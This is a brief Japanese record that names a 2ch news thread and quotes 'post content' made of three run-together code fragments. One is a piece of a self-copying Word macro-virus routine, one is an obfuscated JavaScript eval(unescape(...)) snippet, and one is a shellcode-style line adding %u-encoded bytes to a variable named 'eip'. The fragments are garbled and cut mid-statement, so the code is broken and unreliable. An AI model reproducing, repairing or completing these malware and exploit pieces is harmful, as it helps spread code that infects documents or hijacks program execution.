対象スレ http://hayabusa3.2ch.net/test/read.cgi/news/1358406675/

投稿内容
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g); 
eip=eip+unescape("%u7030%u4300")